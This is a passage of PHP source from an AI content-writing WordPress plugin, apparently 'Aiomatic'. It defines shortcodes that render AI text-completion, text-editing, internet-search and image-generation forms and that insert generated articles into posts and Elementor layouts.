if($temp_get_img == '' || $temp_get_img === false) { $temp_get_img = ''; } else { if(!in_array($temp_get_img, $added_img_list)) { $added_images++; $added_img_list[] = $temp_get_img; } else { $temp_get_img = ''; } } } else { if(!in_array($temp_get_img, $added_img_list)) { $added_images++; $added_img_list[] = $temp_get_img; } else { $temp_get_img = ''; } } } } if($temp_get_img != '') { $add_my_image = '<img class="ximage_class" src="' . $temp_get_img . '" alt="' . $query_words . '"><br/>'; } if($heading_val == '') { if($add_my_image == '') { $add_my_image = ' '; } $new_post_content .= $add_my_image . trim(nl2br($aiwriter)); } else { $new_post_content .= $add_my_image . $heading_val . ' ' . trim(nl2br($aiwriter)) . '</span>'; } sleep(1); $cnt++; } if (isset($aiomatic_Main_Settings['swear_filter']) && $aiomatic_Main_Settings['swear_filter'] == 'on') { require_once(dirname(__FILE__) . "/res/swear.php"); $new_post_content = aiomatic_filterwords($new_post_content); } if ($videos == 'on') { $image_query = $query_words; if($image_query == '') { if($temp_post != '') { $image_query = $temp_post; } else { $image_query = $id; } } $new_vid = aiomoatic_get_video($image_query); if($new_vid !== false) { $new_post_content .= $new_vid; } } if(!isset($post->ID) || $static_content != 'on') { set_transient('aiomatic_article_transient' . $md5v, $new_post_content, $cache_seconds); $tranzi = $new_post_content; } else { $shortcode_reconstruction = '#\[\s*' . preg_quote($tagx) . '\s*'; foreach($atts as $atx => $vatx) { $shortcode_reconstruction .= ' ' . preg_quote($atx) . '\s*=\s*[\'"]?' . preg_quote($vatx) . '[\'"]?'; } $shortcode_reconstruction .= '\s*\]#i'; preg_match_all($shortcode_reconstruction, $post->post_content, $initmatches); if(isset($initmatches[0][0]) && $initmatches[0][0] != '') { $tranzi = ''; $post->post_content = preg_replace($shortcode_reconstruction, $new_post_content, $post->post_content); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses'); remove_filter('title_save_pre', 'wp_filter_kses'); $post_updated = wp_update_post($post); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses'); add_filter('title_save_pre', 'wp_filter_kses'); } else { preg_match_all('#\[aiomatic-article([^\]]*?)\]#i', $post->post_content, $zamatches); if(isset($zamatches[0][0]) && $zamatches[0][0] != '') { $tranzi = ''; $post->post_content = preg_replace('#\[aiomatic-article([^\]]*?)\]#i', $new_post_content, $post->post_content); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses'); remove_filter('title_save_pre', 'wp_filter_kses'); $post_updated = wp_update_post($post); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses'); add_filter('title_save_pre', 'wp_filter_kses'); } else { set_transient('aiomatic_article_transient' . $md5v, $new_post_content, $cache_seconds); $tranzi = $new_post_content; } } if($is_elementor) { $elementor_data = get_post_meta($post->ID, '_elementor_data', true); if(!empty($elementor_data)) { $elementor_json = json_decode($elementor_data); if(!empty($elementor_json)) { $changemade = false; for($i = 0; $i < count($elementor_json); $i++) { if($elementor_json[$i]->elType == 'section' || $elementor_json[$i]->elType == 'column') { for($j = 0; $j < count($elementor_json[$i]->elements); $j++) { if($elementor_json[$i]->elements[$j]->elType == 'section' || $elementor_json[$i]->elements[$j]->elType == 'column') { for($k = 0; $k < count($elementor_json[$i]->elements[$j]->elements); $k++) { if($elementor_json[$i]->elements[$j]->elements[$k]->elType == 'widget' && $elementor_json[$i]->elements[$j]->elements[$k]->widgetType == 'shortcode') { if(isset($elementor_json[$i]->elements[$j]->elements[$k]->settings->shortcode)) { $sc = $elementor_json[$i]->elements[$j]->elements[$k]->settings->shortcode; $sc = preg_replace('#\[aiomatic-article([^\]]*?)\]#i', $new_post_content, $sc); if($sc != $elementor_json[$i]->elements[$j]->elements[$k]->settings->shortcode) { unset($elementor_json[$i]->elements[$j]->elements[$k]->settings->shortcode); $elementor_json[$i]->elements[$j]->elements[$k]->settings->html = $sc; $elementor_json[$i]->elements[$j]->elements[$k]->widgetType = 'html'; $changemade = true; } } } } } else { if($elementor_json[$i]->elements[$j]->elType == 'widget' && $elementor_json[$i]->elements[$j]->widgetType == 'shortcode') { if(isset($elementor_json[$i]->elements[$j]->settings->shortcode)) { $sc = $elementor_json[$i]->elements[$j]->settings->shortcode; $sc = preg_replace('#\[aiomatic-article([^\]]*?)\]#i', $new_post_content, $sc); if($sc != $elementor_json[$i]->elements[$j]->settings->shortcode) { unset($elementor_json[$i]->elements[$j]->settings->shortcode); $elementor_json[$i]->elements[$j]->settings->html = $sc; $elementor_json[$i]->elements[$j]->widgetType = 'html'; $changemade = true; } } } } } } else { if($elementor_json[$i]->elType == 'widget' && $elementor_json[$i]->widgetType == 'shortcode') { if(isset($elementor_json[$i]->settings->shortcode)) { $sc = $elementor_json[$i]->settings->shortcode; $sc = preg_replace('#\[aiomatic-article([^\]]*?)\]#i', $new_post_content, $sc); if($sc != $elementor_json[$i]->settings->shortcode) { unset($elementor_json[$i]->settings->shortcode); $elementor_json[$i]->settings->html = $sc; $elementor_json[$i]->widgetType = 'html'; $changemade = true; } } } } } if($changemade == true) { $elementor_data_new = wp_json_encode($elementor_json); $elementor_data_new = trim($elementor_data_new, '"'); if(!empty($elementor_data_new)) { update_post_meta($post->ID, '_elementor_data', $elementor_data_new); } } } } } } } elseif($tranzi == 'not_working') { return ''; } return $tranzi; } else { return ''; } } add_shortcode('aiomatic-internet-search', 'aiomatic_internet_shortcode'); function aiomatic_internet_shortcode($atts) { if ( isset($_GET['page']) ) { global $pagenow; if ( $pagenow == 'post.php' || $pagenow == 'post-new.php' ) { return; } } if(!aiomatic_validate_activation()) { return; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $atts = shortcode_atts( array( 'keyword' => '' ), $atts ); //accessing the parameters like this $keyword = $atts['keyword']; if(empty($keyword)) { return 'A "keyword" parameter is required for this shortcode!'; } $internet_prompt = ''; if(isset($aiomatic_Main_Settings['internet_prompt']) && $aiomatic_Main_Settings['internet_prompt'] != '') { $internet_prompt = $aiomatic_Main_Settings['internet_prompt']; } if(stristr($internet_prompt, '%%web_results%%') === false) { $internet_prompt .= ' %%web_results%%'; } $locale = ''; if (isset($aiomatic_Main_Settings['internet_gl']) && $aiomatic_Main_Settings['internet_gl'] != '') { $locale = $aiomatic_Main_Settings['internet_gl']; } $internet_rez = aiomatic_internet_result($keyword, false, $locale); shuffle($internet_rez); if (isset($aiomatic_Main_Settings['results_num']) && trim($aiomatic_Main_Settings['results_num']) != '') { $results = intval(trim($aiomatic_Main_Settings['results_num'])); } else { $results = 3; } $gotcnt = 0; $internet_results = ''; foreach($internet_rez as $emb) { if($gotcnt >= $results) { break; } if (isset($aiomatic_Main_Settings['internet_single_template']) && trim($aiomatic_Main_Settings['internet_single_template']) != '') { $internet_single_template = $aiomatic_Main_Settings['internet_single_template']; } else { $internet_single_template = '[%%result_counter%%]: %%result_title%% %%result_snippet%% ' . PHP_EOL . 'URL: %%result_link%%'; } $internet_single_template = str_replace('%%result_counter%%', $gotcnt + 1, $internet_single_template); $internet_single_template = str_replace('%%result_title%%', $emb['title'], $internet_single_template); $internet_single_template = str_replace('%%result_snippet%%', $emb['snippet'], $internet_single_template); $internet_single_template = str_replace('%%result_link%%', $emb['link'], $internet_single_template); $internet_results .= $internet_single_template . PHP_EOL; $gotcnt++; } if($internet_prompt != '') { $internet_prompt = str_ireplace('%%original_query%%', $keyword, $internet_prompt); $internet_prompt = str_ireplace('%%current_date%%', date('Y-m-d'), $internet_prompt); $internet_prompt = str_ireplace('%%web_results%%', $internet_results, $internet_prompt); if($internet_prompt != '') { $keyword = $internet_prompt . '\n' . $keyword; } return $internet_prompt; } return $internet_results; } add_shortcode('aiomatic-text-completion-form', 'aiomatic_form_shortcode'); function aiomatic_form_shortcode($atts) { if ( isset($_GET['page']) ) { global $pagenow; if ( $pagenow == 'post.php' || $pagenow == 'post-new.php' ) { return; } } if(!aiomatic_validate_activation()) { return; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $echome = ''; $atts = shortcode_atts( array( 'temperature' => '0.7', 'top_p' => '1', 'presence_penalty' => '0', 'frequency_penalty' => '0', 'model' => get_default_model_name($aiomatic_Main_Settings), 'assistant_id' => '', 'user_token_cap_per_day' => '', 'prompt_templates' => '', 'prompt_editable' => '' ), $atts ); //accessing the parameters like this $temp = $atts['temperature']; $top_p = $atts['top_p']; $presence = $atts['presence_penalty']; $frequency = $atts['frequency_penalty']; $model = $atts['model']; $assistant_id = $atts['assistant_id']; $user_token_cap_per_day = $atts['user_token_cap_per_day']; $prompt_templates = $atts['prompt_templates']; $prompt_editable = $atts['prompt_editable']; if(aiomatic_is_claude_model($model)) { $stream_url = esc_html(add_query_arg(array( 'aiomatic_claude_stream' => 'yes', 'nonce' => wp_create_nonce('aiomatic-streaming-nonce') ), site_url() . '/index.php')); } else { $stream_url = esc_html(add_query_arg(array( 'aiomatic_stream' => 'yes', 'nonce' => wp_create_nonce('aiomatic-streaming-nonce') ), site_url() . '/index.php')); } if(aiomatic_is_claude_model($model)) { $model_type = 'claude'; } else { if(aiomatic_is_google_model($model)) { $model_type = 'google'; } elseif(aiomatic_is_huggingface_model($model)) { $model_type = 'huggingface'; } elseif(aiomatic_is_ollama_model($model)) { $model_type = 'ollama'; } else { $model_type = 'gpt'; } } $user_id = '0'; if(!empty($user_token_cap_per_day)) { $user_id = get_current_user_id(); } $name = md5(get_bloginfo()); wp_enqueue_script($name . 'openai-completion-ajax', plugins_url('scripts/openai-completion-ajax.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION); wp_localize_script($name . 'openai-completion-ajax', 'aiomatic_completition_ajax_object', array( 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('openai-ajax-nonce'), 'model' => $model, 'temp' => $temp, 'top_p' => $top_p, 'presence' => $presence, 'frequency' => $frequency, 'user_token_cap_per_day' => $user_token_cap_per_day, 'user_id' => $user_id, 'stream_url' => $stream_url, 'model_type' => $model_type, 'secretkey' => 'NDUPPe+cr2Cs2AYiN+JaoBH60cbleu6c' )); $name = md5(get_bloginfo()); wp_enqueue_style($name . 'css-ai-front', plugins_url('styles/form-front.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); $all_models = aiomatic_get_all_models(true); $models = $all_models; if($model != 'default' && !in_array($model, $models)) { $echome .= 'Invalid model provided!'; return $echome; } if($temp != 'default' && floatval($temp) < 0 || floatval($temp) > 1) { $echome .= 'Invalid temperature provided!'; return $echome; } if($top_p != 'default' && floatval($top_p) < 0 || floatval($top_p) > 1) { $echome .= 'Invalid top_p provided!'; return $echome; } if($presence != 'default' && floatval($presence) < -2 || floatval($presence) > 2) { $echome .= 'Invalid presence_penalty provided!'; return $echome; } if($frequency != 'default' && floatval($frequency) < -2 || floatval($frequency) > 2) { $echome .= 'Invalid frequency_penalty provided!'; return $echome; } // Display the form $echome .= ' <form class="openai-ai-form-alt" method="post"> <div class="form-group">'; $echome .= '<div id="aiomatic_input" '; if(($prompt_editable !== 'no' && $prompt_editable !== '0' && $prompt_editable !== 'disabled' && $prompt_editable !== 'off' && $prompt_editable !== 'disable' && $prompt_editable !== 'false') || $prompt_templates === '') { $echome .= 'contenteditable="true" '; } $echome .= 'class="form-control" placeholder="Write your AI command here"></div>'; if($prompt_templates != '') { $predefined_prompts_arr = explode(';', $prompt_templates); $echome .= '<select id="aiomatic_completion_templates" class="cr_width_full">'; $echome .= '<option disabled selected>' . esc_html__("Please select a prompt", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($predefined_prompts_arr as $sval) { $ppro = explode('|~|~|', $sval); if(isset($ppro[1])) { $echome .= '<option value="' . esc_attr($ppro[1]) . '">' . esc_html($ppro[0]) . '</option>'; } else { $echome .= '<option value="' . esc_attr($sval) . '">' . esc_html($sval) . '</option>'; } } $echome .= '</select>'; } if($model == 'default' || $model == '') { $echome .= '<label for="model-selector">Model:</label><select class="aiomatic-ai-input-form" id="model-selector">'; foreach ($models as $model) { $echome .= "<option value='" . $model . "'>" . $model . "</option>"; } $echome .= '</select>'; } if($temp == 'default' || $temp == '') { $echome .= '<label for="temperature-input">Temperature:</label><input type="number" min="0" step="0.01" max="2" class="aiomatic-ai-input-form" id="temperature-input" name="temperature" value="1">'; } if($top_p == 'default' || $top_p == '') { $echome .= '<label for="top_p-input">Top_p:</label><input type="number" min="0" step="0.01" max="1" class="aiomatic-ai-input-form" id="top_p-input" name="top_p" value="1">'; } if($presence == 'default' || $presence == '') { $echome .= '<label for="presence-input">Presence Penalty:</label><input type="number" min="-2" step="0.01" max="2" class="aiomatic-ai-input-form" id="presence-input" name="presence" value="0">'; } if($frequency == 'default' || $frequency == '') { $echome .= '<label for="frequency-input">Frequency Penalty:</label><input type="number" min="0" step="0.01" max="2" class="aiomatic-ai-input-form" id="frequency-input" name="frequency" value="0">'; } $echome .= '</div>'; $echome .= '<input type="hidden" id="aix-assistant-id" value="' . esc_html($assistant_id) . '"><button type="button" id="copy-button" class="btn btn-primary" data-toggle="tooltip" data-placement="top" title="Copy to clipboard"> <img src="' . plugins_url('images/copy.ico', __FILE__) . '"> </button>'; if($prompt_templates == '') { $echome .= '<button type="button" id="openai-speech-button" class="btn btn-primary" title="Record your voice"> <img src="' . plugins_url('images/mic.ico', __FILE__) . '"> </button>'; } $echome .= '<button type="button" id="aisubmitbut" onclick="openaifunct()" class="btn btn-primary">' . esc_html__('Submit', 'aiomatic-automatic-ai-content-writer') . '</button> <div id="openai-response"></div> </form> '; return $echome; } add_shortcode('aiomatic-text-editing-form', 'aiomatic_edit_shortcode'); function aiomatic_edit_shortcode($atts) { if ( isset($_GET['page']) ) { global $pagenow; if ( $pagenow == 'post.php' || $pagenow == 'post-new.php' ) { return; } } if(!aiomatic_validate_activation()) { return; } $echome = ''; $atts = shortcode_atts( array( 'temperature' => '0.7', 'top_p' => '1', 'model' => 'gpt-3.5-instruct', 'user_token_cap_per_day' => '', 'prompt_templates' => '', 'prompt_editable' => '' ), $atts ); //accessing the parameters like this $temp = $atts['temperature']; $top_p = $atts['top_p']; $model = $atts['model']; $prompt_templates = $atts['prompt_templates']; $prompt_editable = $atts['prompt_editable']; $user_token_cap_per_day = $atts['user_token_cap_per_day']; $user_id = '0'; if(!empty($user_token_cap_per_day)) { $user_id = get_current_user_id(); } $name = md5(get_bloginfo()); wp_enqueue_script($name . 'openai-edit-ajax', plugins_url('scripts/openai-edit-ajax.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION); wp_localize_script($name . 'openai-edit-ajax', 'aiomatic_edit_ajax_object', array( 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('openai-ajax-nonce'), 'temp' => $temp, 'top_p' => $top_p, 'model' => $model, 'user_token_cap_per_day' => $user_token_cap_per_day, 'user_id' => $user_id )); $name = md5(get_bloginfo()); wp_enqueue_style($name . 'css-ai-front', plugins_url('styles/form-front.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); $models = aiomatic_get_all_models(true); if($model != 'default' && !in_array($model, $models)) { $echome .= 'Invalid model provided!'; return $echome; } if($temp != 'default' && floatval($temp) < 0 || floatval($temp) > 1) { $echome .= 'Invalid temperature provided!'; return $echome; } if($top_p != 'default' && floatval($top_p) < 0 || floatval($top_p) > 1) { $echome .= 'Invalid top_p provided!'; return $echome; } // Display the form $echome .= ' <form class="openai-ai-form-alt" method="post"> <div class="form-group"> <textarea class="aiomatic-edit-textarea aiomatic-edit-area" rows="8" id="aiomatic_edit_input" placeholder="Write your text to be edited here"></textarea>'; $echome .= '<textarea class="aiomatic-edit-textarea aiomatic-instruction-area" rows="8" id="aiomatic_edit_instruction" placeholder="Write your AI instruction here"'; if(($prompt_editable == 'no' || $prompt_editable === '0' || $prompt_editable == 'disabled' || $prompt_editable == 'off' || $prompt_editable == 'disable' || $prompt_editable == "false") && $prompt_templates !== '') { $echome .= ' disabled'; } $echome .= '></textarea>'; $echome .= '<textarea class="aiomatic-edit-textarea aiomatic-response-area" rows="5" id="aiomatic_edit_response" disabled placeholder="You will see the edited result here"></textarea>'; if($model == 'default' || $model == '') { $echome .= '<label for="model-edit-selector">Model:</label><select class="aiomatic-ai-input-form" id="model-edit-selector">'; foreach ($models as $model) { $echome .= "<option value='" . $model . "'>" . $model . "</option>"; } $echome .= '</select>'; } if($temp == 'default' || $temp == '') { $echome .= '<label for="temperature-edit-input">Temperature:</label><input type="number" min="0" step="0.01" max="2" class="aiomatic-ai-input-form" id="temperature-edit-input" name="temperature" value="0">'; } if($top_p == 'default' || $top_p == '') { $echome .= '<label for="top_p-edit-input">Top_p:</label><input type="number" min="0" step="0.01" max="1" class="aiomatic-ai-input-form" id="top_p-edit-input" name="top_p" value="1">'; } if($prompt_templates != '') { $predefined_prompts_arr = explode(';', $prompt_templates); $echome .= '<select id="aiomatic_edit_templates" class="cr_width_full">'; $echome .= '<option disabled selected>' . esc_html__("Please select a prompt", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($predefined_prompts_arr as $sval) { $ppro = explode('|~|~|', $sval); if(isset($ppro[1])) { $echome .= '<option value="' . esc_attr($ppro[1]) . '">' . esc_html($ppro[0]) . '</option>'; } else { $echome .= '<option value="' . esc_attr($sval) . '">' . esc_html($sval) . '</option>'; } } $echome .= '</select>'; } $echome .= '</div>'; $echome .= '<button type="button" id="copy-edit-button" class="btn btn-primary" data-toggle="tooltip" data-placement="top" title="Copy to clipboard"> <img src="' . plugins_url('images/copy.ico', __FILE__) . '"> </button>'; if($prompt_templates == '') { $echome .= '<button type="button" id="openai-edit-speech-button" class="btn btn-primary" title="Record your voice"> <img src="' . plugins_url('images/mic.ico', __FILE__) . '"> </button>'; } $echome .= '<button type="button" id="aieditsubmitbut" onclick="openaieditfunct()" class="btn btn-primary">' . esc_html__('Submit', 'aiomatic-automatic-ai-content-writer') . '</button> <div id="openai-edit-response"></div> </form> '; return $echome; } add_shortcode('aiomatic-image-generator-form', 'aiomatic_image_shortcode'); function aiomatic_image_shortcode($atts) { if ( isset($_GET['page']) ) { global $pagenow; if ( $pagenow == 'post.php' || $pagenow == 'post-new.php' ) { return; } } if(!aiomatic_validate_activation()) { return; } $uniqid = uniqid(); $echome = ''; $atts = shortcode_atts( array( 'image_size' => 'default', 'image_model' => 'dalle2', 'user_token_cap_per_day' => '', 'prompt_templates' => '', 'prompt_editable' => '' ), $atts ); $user_token_cap_per_day = $atts['user_token_cap_per_day']; $prompt_templates = $atts['prompt_templates']; $prompt_editable = $atts['prompt_editable']; $user_id = '0'; if(!empty($user_token_cap_per_day)) { $user_id = get_current_user_id(); } //accessing the parameters like this $image_size = $atts['image_size']; $image_model = $atts['image_model']; $image_placeholder = plugins_url('images/loading.gif', __FILE__); $name = md5(get_bloginfo()); wp_enqueue_script($name . 'openai-image-ajax', plugins_url('scripts/openai-image-ajax.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION); wp_localize_script($name . 'openai-image-ajax', 'aiomatic_image_ajax_object', array( 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('openai-ajax-nonce'), 'image_size' => $image_size, 'image_placeholder' => $image_placeholder, 'user_token_cap_per_day' => $user_token_cap_per_day, 'user_id' => $user_id, 'image_model' => $image_model )); wp_enqueue_style($name . 'css-ai-front', plugins_url('styles/form-front.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); if($image_model == 'dalle2') { $sizes = array('1024x1024', '512x512', '256x256'); } else { $sizes = array('1024x1024', '1792x1024', '1024x1792'); } if($image_size != 'default' && !in_array($image_size, $sizes)) { $echome .= 'Invalid image size provided!'; return $echome; } // Display the form $echome .= ' <form class="openai-ai-form-alt" method="post"> <div class="form-group">'; $echome .= '<input type="hidden" value="' . esc_html($image_model). '" id="image_model' . $uniqid . '"><textarea class="aiomatic-image-textarea aiomatic-image-instruction-area" rows="8" id="aiomatic_image_instruction' . $uniqid . '" placeholder="Write your AI instruction here"'; if(($prompt_editable == 'no' || $prompt_editable === '0' || $prompt_editable == 'disabled' || $prompt_editable == 'off' || $prompt_editable == 'disable' || $prompt_editable == "false") && $prompt_templates !== '') { $echome .= ' disabled'; } $echome .= '></textarea>'; if($prompt_templates != '') { $predefined_prompts_arr = explode(';', $prompt_templates); $echome .= '<select id="aiomatic_image_templates" class="cr_width_full">'; $echome .= '<option disabled selected>' . esc_html__("Please select a prompt", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($predefined_prompts_arr as $sval) { $ppro = explode('|~|~|', $sval); if(isset($ppro[1])) { $echome .= '<option value="' . esc_attr($ppro[1]) . '">' . esc_html($ppro[0]) . '</option>'; } else { $echome .= '<option value="' . esc_attr($sval) . '">' . esc_html($sval) . '</option>'; } } $echome .= '</select>'; } $echome .= '<br/> <div class="aiomatic-image-result cr_image_center" id="aiomatic_image_div"><img id="aiomatic_image_response' . $uniqid . '" class="aiomatic_image_response" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+ip1sAAAAASUVORK5CYII="></div>'; if($image_size == 'default' || empty($image_size)) { $echome .= '<label for="ai-image-size-selector' . $uniqid . '">Image Size:</label><select class="aiomatic-ai-input-form" id="ai-image-size-selector' . $uniqid . '">'; foreach ($sizes as $size) { $echome .= "<option value='" . $size . "'>" . $size . "</option>"; } $echome .= '</select>'; } $echome .= '</div>'; if($prompt_templates == '') { $echome .= '<button type="button" id="openai-image-speech-button" class="btn btn-primary" title="Record your voice"> <img src="' . plugins_url('images/mic.ico', __FILE__) . '"> </button>'; } $echome .= '<button type="button" id="aiimagesubmitbut' . $uniqid . '" onclick="openaiimagefunct(\'' . $uniqid . '\')" class="btn btn-primary">' . esc_html__('Submit', 'aiomatic-automatic-ai-content-writer') . '</button> <div id="openai-image-response' . $uniqid . '"></div> </form> '; return $echome; } add_shortcode('aiomatic-stable-image-generator-form', 'aiomatic_stable_image_shortcode'); function aiomatic_stable_image_shortcode($atts) { if ( isset($_GET['page']) ) { global $pagenow; if ( $pagenow == 'post.php' || $pagenow == 'post-new.php' ) { return; } } if(!aiomatic_validate_activation()) { return; } $echome = ''; $atts = shortcode_atts( array( 'image_size' => 'default', 'user_token_cap_per_day' => '', 'prompt_templates' => '', 'prompt_editable' => '' ), $atts ); $user_token_cap_per_day = $atts['user_token_cap_per_day']; $prompt_templates = $atts['prompt_templates']; $prompt_editable = $atts['prompt_editable']; $user_id = '0'; if(!empty($user_token_cap_per_day)) { $user_id = get_current_user_id(); } //accessing the parameters like this $image_size = $atts['image_size']; $image_placeholder = plugins_url('images/loading.gif', __FILE__); $name = md5(get_bloginfo()); wp_enqueue_script($name . 'openai-stable-image-ajax', plugins_url('scripts/openai-stable-image-ajax.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION); wp_localize_script($name . 'openai-stable-image-ajax', 'aiomatic_stable_image_ajax_object', array( 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('openai-ajax-nonce'), 'image_size' => $image_size, 'image_placeholder' => $image_placeholder, 'user_token_cap_per_day' => $user_token_cap_per_day, 'user_id' => $user_id )); wp_enqueue_style($name . 'css-ai-front', plugins_url('styles/form-front.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); $sizes = array('1024x1024', '512x512'); if($image_size != 'default' && !in_array($image_size, $sizes)) { $echome .= 'Invalid image size provided!'; return $echome; } // Display the form $echome .= ' <form class="openai-ai-form-alt" method="post"> <div class="form-group">'; $echome .= '<textarea class="aiomatic-image-textarea aiomatic-image-instruction-area" rows="8" id="aiomatic_stable_image_instruction" placeholder="Write your AI instruction here"'; if(($prompt_editable == 'no' || $prompt_editable === '0' || $prompt_editable == 'disabled' || $prompt_editable == 'off' || $prompt_editable == 'disable' || $prompt_editable == "false") && $prompt_templates !== '') { $echome .= ' disabled'; } $echome .= '></textarea>'; if($prompt_templates != '') { $predefined_prompts_arr = explode(';', $prompt_templates); $echome .= '<select id="aiomatic_stable_image_templates" class="cr_width_full">'; $echome .= '<option disabled selected>' . esc_html__("Please select a prompt", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($predefined_prompts_arr as $sval) { $ppro = explode('|~|~|', $sval); if(isset($ppro[1])) { $echome .= '<option value="' . esc_attr($ppro[1]) . '">' . esc_html($ppro[0]) . '</option>'; } else { $echome .= '<option value="' . esc_attr($sval) . '">' . esc_html($sval) . '</option>'; } } $echome .= '</select>'; } $echome .= '<br/> <div class="aiomatic-image-result cr_image_center" id="aiomatic_image_div"><img id="aiomatic_stable_image_response" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+ip1sAAAAASUVORK5CYII="></div>'; if($image_size == 'default' || empty($image_size)) { $echome .= '<label for="model-stable-size-selector">Image Size:</label><select class="aiomatic-ai-input-form" id="model-stable-size-selector">'; foreach ($sizes as $size) { $echome .= "<option value='" . $size . "'>" . $size . "</option>"; } $echome .= '</select>'; } $echome .= '</div>'; if($prompt_templates == '') { $echome .= '<button type="button" id="openai-stable-image-speech-button" class="btn btn-primary" title="Record your voice"> <img src="' . plugins_url('images/mic.ico', __FILE__) . '"> </button>'; } $echome .= '<button type="button" id="aistableimagesubmitbut" onclick="stableimagefunct()" class="btn btn-primary">' . esc_html__('Submit', 'aiomatic-automatic-ai-content-writer') . '</button> <div id="openai-stable-image-response"></div> </form> '; return $echome; } add_shortcode('aiomatic-midjourney-image-generator-form', 'aiomatic_midjourney_image_shortcode'); function aiomatic_midjourney_image_shortcode($atts) { if ( isset($_GET['page']) ) { global $pagenow; if ( $pagenow == 'post.php' || $pagenow == 'post-new.php' ) { return; } } if(!aiomatic_validate_activation()) { return; } $echome = ''; $atts = shortcode_atts( array( 'image_size' => 'default', 'user_token_cap_per_day' => '', 'prompt_templates' => '', 'prompt_editable' => '' ), $atts ); $user_token_cap_per_day = $atts['user_token_cap_per_day']; $prompt_templates = $atts['prompt_templates']; $prompt_editable = $atts['prompt_editable']; $user_id = '0'; if(!empty($user_token_cap_per_day)) { $user_id = get_current_user_id(); } //accessing the parameters like this $image_size = $atts['image_size']; $image_placeholder = plugins_url('images/loading.gif', __FILE__); $name = md5(get_bloginfo()); wp_enqueue_script($name . 'openai-midjourney-image-ajax', plugins_url('scripts/openai-midjourney-image-ajax.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION); wp_localize_script($name . 'openai-midjourney-image-ajax', 'aiomatic_midjourney_image_ajax_object', array( 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('openai-ajax-nonce'), 'image_size' => $image_size, 'image_placeholder' => $image_placeholder, 'user_token_cap_per_day' => $user_token_cap_per_day, 'user_id' => $user_id )); wp_enqueue_style($name . 'css-ai-front', plugins_url('styles/form-front.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); $sizes = array('1024x1024', '512x512', '1024x1792', '1792x1024'); if($image_size != 'default' && !in_array($image_size, $sizes)) { $echome .= 'Invalid image size provided!'; return $echome; } // Display the form $echome .= ' <form class="openai-ai-form-alt" method="post"> <div class="form-group">'; $echome .= '<textarea class="aiomatic-image-textarea aiomatic-image-instruction-area" rows="8" id="aiomatic_midjourney_image_instruction" placeholder="Write your AI instruction here"'; if(($prompt_editable == 'no' || $prompt_editable === '0' || $prompt_editable == 'disabled' || $prompt_editable == 'off' || $prompt_editable == 'disable' || $prompt_editable == "false") && $prompt_templates !== '') { $echome .= ' disabled'; } $echome .= '></textarea>'; if($prompt_templates != '') { $predefined_prompts_arr = explode(';', $prompt_templates); $echome .= '<select id="aiomatic_midjourney_image_templates" class="cr_width_full">'; $echome .= '<option disabled selected>' . esc_html__("Please select a prompt", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($predefined_prompts_arr as $sval) { $ppro = explode('|~|~|', $sval); if(isset($ppro[1])) { $echome .= '<option value="' . esc_attr($ppro[1]) . '">' . esc_html($ppro[0]) . '</option>'; } else { $echome .= '<option value="' . esc_attr($sval) . '">' . esc_html($sval) . '</option>'; } } $echome .= '</select>'; } $echome .= '<br/> <div class="aiomatic-image-result cr_image_center" id="aiomatic_image_div"><img id="aiomatic_midjourney_image_response" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+ip1sAAAAASUVORK5CYII="></div>'; if($image_size == 'default' || empty($image_size)) { $echome .= '<label for="model-midjourney-size-selector">Image Size:</label><select class="aiomatic-ai-input-form" id="model-midjourney-size-selector">'; foreach ($sizes as $size) { $echome .= "<option value='" . $size . "'>" . $size . "</option>"; } $echome .= '</select>'; } $echome .= '</div>'; if($prompt_templates == '') { $echome .= '<button type="button" id="openai-midjourney-image-speech-button" class="btn btn-primary" title="Record your voice"> <img src="' . plugins_url('images/mic.ico', __FILE__) . '"> </button>'; } $echome .= '<button type="button" id="aimidjourneyimagesubmitbut" onclick="midjourneyimagefunct()" class="btn btn-primary">' . esc_html__('Submit', 'aiomatic-automatic-ai-content-writer') . '</button> <div id="openai-midjourney-image-response"></div> </form> '; return $echome; } add_shortcode('aiomatic-persona-selector', 'aiomatic_persona_shortcode'); function aiomatic_persona_shortcode($atts) { $atts = shortcode_atts( array( 'temperature' => '', 'top_p' => '', 'presence_penalty' => '', 'frequency_penalty' => '', 'model' => '', 'instant_response' => '', 'enable_vision' => '', 'assistant_id' => '', 'user_message_preppend' => '', 'ai_message_preppend' => '', 'chat_preppend_text' => '', 'chat_mode' => '', 'user_token_cap_per_day' => '', 'persistent' => '', 